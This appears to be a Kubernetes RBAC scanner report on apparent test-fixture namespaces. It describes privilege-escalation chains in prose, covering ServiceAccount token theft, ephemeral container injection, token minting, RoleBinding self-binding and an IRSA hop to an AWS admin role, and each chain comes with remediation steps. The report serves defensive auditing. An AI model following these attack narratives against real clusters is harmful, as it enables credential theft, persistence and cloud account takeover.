Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (4 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
2. ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
4. ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via irsa_assume_role (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-pod-create-escape.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-ephemeral ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/rbac-fixtures/sa-pod-create via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/cloud-eks-imp/imp-irsa ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/cloud-eks-imp/imp-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via arn:aws:iam::123456789012:role/ImpersonatorAdminRole, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.
  6. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 4 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
  4. Step 4 of 4 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH

Subjects can reach namespace-admin in `cutres` in 1 hop(s)

KUBE-PRIVESC-PATH-NAMESPACE-ADMIN 33 subjects Score 7.4–6.2
MITRE ATT&CK: T1078.004T1098T1068

Affected subjects (33)

HIGH ServiceAccount/cutres/cutres-detour Namespace 7.4
ServiceAccount/cutres/cutres-detour can reach namespace-admin in `cutres` in 1 hop(s)
Scope · Namespace Source ServiceAccount/cutres/cutres-detour → namespace-admin in cutres: every workload, Secret, and ConfigMap inside cutres becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-detour Resource: Namespace/cutres/cutres

Subject ServiceAccount/cutres/cutres-detour has a privesc path that ends at namespace-admin inside cutres. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside cutres but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/cutres/cutres-detour → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/cutres/cutres-detour yields full takeover of cutres: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/cutres/cutres-detour (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/cutres/cutres-detour, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  3. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside cutres. They read every Secret and ConfigMap in cutres, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside cutres: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 1 (ServiceAccount/cutres/cutres-detour → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:cutres:cutres-detour (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 1 (ServiceAccount/cutres/cutres-detour → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in cutres granting RBAC writes: kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in cutres whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/deepchain-tenant/deepchain-binder Namespace 7.4
ServiceAccount/deepchain-tenant/deepchain-binder can reach namespace-admin in `deepchain-tenant` in 1 hop(s)
Scope · Namespace Source ServiceAccount/deepchain-tenant/deepchain-binder → namespace-admin in deepchain-tenant: every workload, Secret, and ConfigMap inside deepchain-tenant becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-binder Resource: Namespace/deepchain-tenant/deepchain-tenant

Subject ServiceAccount/deepchain-tenant/deepchain-binder has a privesc path that ends at namespace-admin inside deepchain-tenant. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside deepchain-tenant but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/deepchain-tenant/deepchain-binder → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/deepchain-tenant/deepchain-binder yields full takeover of deepchain-tenant: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/deepchain-tenant/deepchain-binder (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/deepchain-tenant/deepchain-binder, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  3. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside deepchain-tenant. They read every Secret and ConfigMap in deepchain-tenant, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside deepchain-tenant: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 1 (ServiceAccount/deepchain-tenant/deepchain-binder → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:deepchain-tenant:deepchain-binder (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 1 (ServiceAccount/deepchain-tenant/deepchain-binder → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in deepchain-tenant granting RBAC writes: kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in deepchain-tenant whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate Namespace 7.4
ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate can reach namespace-admin in `rbac-ns-fixtures` in 1 hop(s)
Scope · Namespace Source ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → namespace-admin in rbac-ns-fixtures: every workload, Secret, and ConfigMap inside rbac-ns-fixtures becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures

Subject ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate has a privesc path that ends at namespace-admin inside rbac-ns-fixtures. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside rbac-ns-fixtures but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate yields full takeover of rbac-ns-fixtures: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  3. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside rbac-ns-fixtures. They read every Secret and ConfigMap in rbac-ns-fixtures, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside rbac-ns-fixtures: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 1 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:rbac-ns-fixtures:sa-ns-rolebinding-mutate (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 1 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in rbac-ns-fixtures granting RBAC writes: kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in rbac-ns-fixtures whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/rbac-fixtures/sa-token-create Namespace 7.3
ServiceAccount/rbac-fixtures/sa-token-create can reach namespace-admin in `cutres` in 2 hop(s)
Scope · Namespace Source ServiceAccount/rbac-fixtures/sa-token-create → namespace-admin in cutres: every workload, Secret, and ConfigMap inside cutres becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-token-create Resource: Namespace/cutres/cutres

Subject ServiceAccount/rbac-fixtures/sa-token-create has a privesc path that ends at namespace-admin inside cutres. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside cutres but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cutres/cutres-detour via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount cutres/cutres-detour
2. ServiceAccount/cutres/cutres-detour → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/rbac-fixtures/sa-token-create yields full takeover of cutres: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-token-create (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-token-create, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/cutres/cutres-detour. No pod creation required, and a thinner audit trail than the pod-mount route.
  3. Acting as ServiceAccount/cutres/cutres-detour, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  4. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside cutres. They read every Secret and ConfigMap in cutres, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cutres/cutres-detour
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount cutres/cutres-detour
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside cutres: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/cutres/cutres-detour → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:rbac-fixtures:sa-token-create (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/cutres/cutres-detour → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in cutres granting RBAC writes: kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in cutres whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/rbac-fixtures/sa-token-create Namespace 7.3
